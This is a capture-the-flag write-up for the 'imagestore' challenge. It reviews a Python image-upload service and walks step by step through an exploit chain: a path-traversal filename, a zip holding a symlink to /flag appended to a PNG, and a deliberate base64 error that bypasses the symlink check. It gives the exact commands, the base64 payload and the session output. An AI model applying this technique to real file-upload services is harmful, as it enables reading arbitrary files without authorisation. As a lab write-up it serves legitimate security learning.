We got first blood on this challenge (10 teams solved it in the end), so here's a writeup of how we solved it.## PromptI keep too many photos of pizzas on my computer and my drive is almost full. Unfortunately I can't simply upload them to Google Photos because I don't like public cloud. So I decided to write my own CLI service to store all my images!
Can you read `/flag`?
This is a remote challenge, you can connect to the service with:`nc imagestore.challs.teamitaly.eu 15000`
Tip: to input a line longer than 4095 characters on your terminal, run `stty -icanon; nc imagestore.challs.teamitaly.eu 15000`.
Author: @napaalm
Attachments:imagestore.py
## Code ReviewWe are given a python file which the server is running. A user can choose one of the following options:- uploading an image- downloading an image (that you've uploaded earlier)- deleting an image- uploading multiple images
There are two interesting functions: `upload_image` and `upload_multiple_images`.Let's look at  `upload_multiple_images` first, because the 'Hacker detected' line stands out.```pythondef upload_multiple_images():    path = "/tmp/images.zip"
    encoded_content = input("Base64-encoded zip: ")    try:        with open(path, "wb+") as file:            content = base64.b64decode(encoded_content)            file.write(content)
            # mamma mia, we don't want symlinks!            for zipinfo in zipfile.ZipFile(file).infolist():                if zipinfo.external_attr >> 16:                    print("Hacker detected!!")                    return    except zipfile.BadZipFile:        print("Invalid zipfile!")        return    except binascii.Error:        print("Invalid base64")
    if subprocess.run(["unzip", "-o", "-q", path, "-d", IMAGES_PATH]).returncode <= 1:        print("Archive successfully uploaded and extracted")    else:        print("Error while extracting the archive")``` So we have the option of sending an input. If there's a [symlink](https://en.wikipedia.org/wiki/Symbolic_link) present, 'Hacker detected' is printed and we return, so we can't upload a zip file such as the following to this function:```❯ ln -s /flag symlink_to_flag.link ❯ zip --symlink cheeky.zip symlink_to_flag.link```
Interestingly, when a `binascii.Error` is thrown, we don't return, but continue running the function. This results in an attempt to extract `/tmp/images.zip`. Maybe we can exploit this in some way? Let's look at the other function that's interesting:```def upload_image():    name = input("Name for your image: ")
    encoded_content = input("Base64-encoded image: ")    try:        content = base64.b64decode(encoded_content)    except binascii.Error:        print("Invalid base64!")        return
    if content == b"":        print("Empty file!")        return
    if not filetype.is_image(content):        print("Only image files are allowed!")        return
    with open(os.path.join(IMAGES_PATH, name), "wb") as file:        file.write(content)```Here we see that the filename is vulnerable to a [directory traversal attack](https://en.wikipedia.org/wiki/Directory_traversal_attack). This means that we can also write to `../../../tmp/images.zip`. So maybe we can read the flag by uploading a file to this path, which will then be unzipped when we trigger a `binascii.Error` in the `upload_multiple_images` function? 
However, we can't just upload our `cheeky.zip`, because we won't pass the `filetype.is_image` check. What if we just append our `zip` to a `png`? Maybe this will pass the `filetype.is_image` check, but unzip anyway?```bash❯ cat cheeky.zip >> pixel.png ```When we unzip this, it works as we hoped (despite the warning), so it seems like we have all ingredients ready so we can get the flag!```❯ unzip pixel.pngArchive:  pixel.pngwarning [pixel.png]:  70 extra bytes at beginning or within zipfile  (attempting to process anyway)    linking: symlink_to_flag.link    -> /flag finishing deferred symbolic links:  symlink_to_flag.link   -> /flag```
One final complication was the name of the file. When testing locally, we were prompted with:```[/tmp/images.zip]  End-of-central-directory signature not found.  Either this file is not  a zipfile, or it constitutes one disk of a multi-part archive.  In the  latter case the central directory and zipfile comment will be found on  the last disk(s) of this archive.unzip:  cannot find zipfile directory in one of /tmp/images.zip or        /tmp/images.zip.zip, and cannot find /tmp/images.zip.ZIP, period.Error while extracting the archive```
So maybe we change `../../../tmp/images.zip` to `../../../tmp/images.zip.zip`? And this worked! We're not sure why this works, so if anyone could enlighten us, we'd be grateful!Now we are ready to drop our payload remotely.
## Summary Payload PreparationCreate symlink to file.```bash❯ ln -s /flag symlink_to_flag.link ```Check symlink to file:```bash❯ ls -lh                         lrwxrwxrwx 1 user user    5 Sep  9 00:00 symlink_to_flag.link -> /flag```Zip symlink:```bash❯ zip --symlink cheeky.zip symlink_to_flag.link  adding: symlink_to_flag.link (stored 0%)```[Download](https://onlinepngtools.com/generate-1x1-png) 1-pixel png and save to file:
```bash❯ echo "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIW2P4v5ThPwAG7wKklwQ/bwAAAABJRU5ErkJggg==" | base64 -d > pixel.png```
Append zipfile to png:```bash❯ cat cheeky.zip >> pixel.png ```
Get our base64 payload:```❯ base64 pixel.png iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIW2P4v5ThPwAG7wKklwQ/bwAAAABJRU5ErkJgglBLAwQKAAAAAACzAilVTnsDdQUAAAAFAAAAFAAcAHN5bWxpbmtfdG9fZmxhZy5saW5rVVQJAAPxahpj8WoaY3V4CwABBOgDAAAE6AMAAC9mbGFnUEsBAh4DCgAAAAAAswIpVU57A3UFAAAABQAAABQAGAAAAAAAAAAAAP+hAAAAAHN5bWxpbmtfdG9fZmxhZy5saW5rVVQFAAPxahpjdXgLAAEE6AMAAAToAwAAUEsFBgAAAAABAAEAWgAAAFMAAAAAAA==```
## Exploit TimeSo now everything is ready to read the flag!Let's connect```❯ nc imagestore.challs.teamitaly.eu 15000```and upload our payload.```1. Upload an image2. Download an image3. Delete an image4. Upload multiple images5. Exit
Insert your choice> 1Name for your image: ../../../tmp/images.zip.zipBase64-encoded image: iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIW2P4v5ThPwAG7wKklwQ/bwAAAABJRU5ErkJgglBLAwQKAAAAAACzAilVTnsDdQUAAAAFAAAAFAAcAHN5bWxpbmtfdG9fZmxhZy5saW5rVVQJAAPxahpj8WoaY3V4CwABBOgDAAAE6AMAAC9mbGFnUEsBAh4DCgAAAAAAswIpVU57A3UFAAAABQAAABQAGAAAAAAAAAAAAP+hAAAAAHN5bWxpbmtfdG9fZmxhZy5saW5rVVQFAAPxahpjdXgLAAEE6AMAAAToAwAAUEsFBgAAAAABAAEAWgAAAFMAAAAAAA==```
We make sure to trigger the `binascii.Error` in `upload_multiple_images`:
```1. Upload an image2. Download an image3. Delete an image4. Upload multiple images5. Exit
Insert your choice> 4Base64-encoded zip: aInvalid base64Archive successfully uploaded and extracted```
Now we can download our image:
```1. Upload an image2. Download an image3. Delete an image4. Upload multiple images5. Exit
Insert your choice> 20. symlink_to_flag.link
Select which image to download> 0Here is your imageZmxhZ3tkMG50X3RydTV0X000Z2ljX0J5dDNzfQ==```
And we've got the flag!
```bash❯ echo "ZmxhZ3tkMG50X3RydTV0X000Z2ljX0J5dDNzfQ==" | base64 -d
flag{d0nt_tru5t_M4gic_Byt3s}```